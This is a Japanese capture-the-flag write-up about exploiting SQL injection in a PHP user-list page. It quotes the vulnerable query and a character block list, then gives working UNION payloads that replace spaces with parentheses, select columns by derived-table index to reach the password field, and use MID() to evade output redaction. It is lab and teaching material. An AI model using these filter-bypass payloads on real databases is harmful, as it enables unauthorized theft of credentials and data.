# アプリケーション調査
php製のサイトでユーザー一覧の機能があります。
画面下部のShow source
をクリックすることでアプリケーション自体のソースコードが閲覧できます。
以下のようにSQLが実行されているのが確認できます。
Prepared Statementを使用しておらず、SQLインジェクションの脆弱性があります。
try{
//seen in production
$stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id<=$max");
$stmt->execute();
$results = $stmt->fetchAll();
}
catch(\PDOException $e){
exit("ERROR: BROKEN QUERY");
}
ただし、以下の部分で文字列フィルターが実装されており、禁止文字列を使用するとH4ckerzzzz
のレスポンスが返るようになっています。
if (isset($_GET['max']) && !is_array($_GET['max']) && $_GET['max']>0) {
$max = $_GET['max'];
$words = ["'","\"",";","`"," ","a","b","h","k","p","v","x","or","if","case","in","between","join","json","set","=","|","&","%","+","-","<",">","#","/","\r","\n","\t","\v","\f"]; // list of characters to check
foreach ($words as $w) {
if (preg_match("#".preg_quote($w)."#i", $max)) {
exit("H4ckerzzzz");
} //no weird chars
}
}
また、SQLで取得したデータをHTMLに描画する際も文字列フィルターが存在し、INTIGRITI
がカラムの値に含まれている場合、REDACTED
に変換されます。
<tbody>
<?php foreach ($results as $row): ?>
<tr>
<td><?= htmlspecialchars(strpos($row['id'],"INTIGRITI")===false?$row['id']:"REDACTED"); ?></td>
<td><?= htmlspecialchars(strpos($row['name'],"INTIGRITI")===false?$row['name']:"REDACTED"); ?></td>
<td><?= htmlspecialchars(strpos($row['email'],"INTIGRITI")===false?$row['email']:"REDACTED"); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
また、usersテーブルの構造も与えられます。
passwordフィールドが取得されていないのでフラグはおそらくpasswordにあると思います。
/* FYI
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(255) NOT NULL,
email VARCHAR(255) UNIQUE NOT NULL,
password VARCHAR(255) NOT NULL
);
*/
ここまででフラグを得る方針として、
password
を表示させる。INTIGRITI
フィルターを回避する。を立てます。
ソースコードからURLパラメータmax
にSQLインジェクションがあることがわかっているのでUNION句を実行する方法を探します。
ただし、SQLフィルターにより多くの文字が使用できません。特にスペースが使用できないのは痛いです。
そこでスペース無しでSQLを実行する方法を探していると以下の記事がヒットしました。
No -*|%/ and no whitespace, is this SQL injectable?
これらの記事によると、以下のSQLは
SELECT id, name FROM Users;
以下のように()
を使用することで実行できるようです。
SELECT(id),(name)FROM(users);
試しに正しいカラム数の行を追加してみると、成功します。
max=1^(1)UNION(SELECT(1),2,3)
次にUNIONでusersテーブルのpasswordをSELECTしたいところですが、SQLフィルターによってp
やa
などの文字が引っかかってしまいます。
/*selectでpasswordカラムを指定できない*/
max=1^(1)UNION(SELECT(id),name,(password)FROM(users))
そこでテーブル名.カラムインデックス
でカラムを指定する方法を使用します。
Bypass column names restriction
このSQLのid,nameは
SELECT id, name FROM users;
以下のSQL文で取得できます。
SELECT U.1,U.2 FROM (SELECT 1,2,3,4 UNION SELECT * FROM users)U
この方法を用いて以下のペイロードを作成します。
?max=1^(1)UNION(SELECT(U.1),U.2,(U.4)FROM(SELECT(1),2,3,(4)UNION(SELECT*FROM(users)))U)
このペイロードを送信すると編集されたパスワードフィールドが閲覧できます。
後はINTIGRITI
フィルターを突破します。
SQLで取得した文字列にINTIGRITI
という文字列が含まれていなければOKなのでMID
関数を使用します。
ここでもSQLフィルターは有効なので使える関数は限られてきます。
上記のペイロードのU.4
をSELECTしている部分を下記のように変更して送信します。
フラグの2文字目から最後までを取得するという処理です。
?max=1^(1)UNION(SELECT(U.1),U.2,MID(U.4,2)FROM(SELECT(1),2,3,(4)UNION(SELECT*FROM(users)))U)
これでフィルターを回避してフラグを表示させることができます。(フラグの一文字目はI
です。)
まとめ
()
を使用することでスペースフィルターをバイパスできる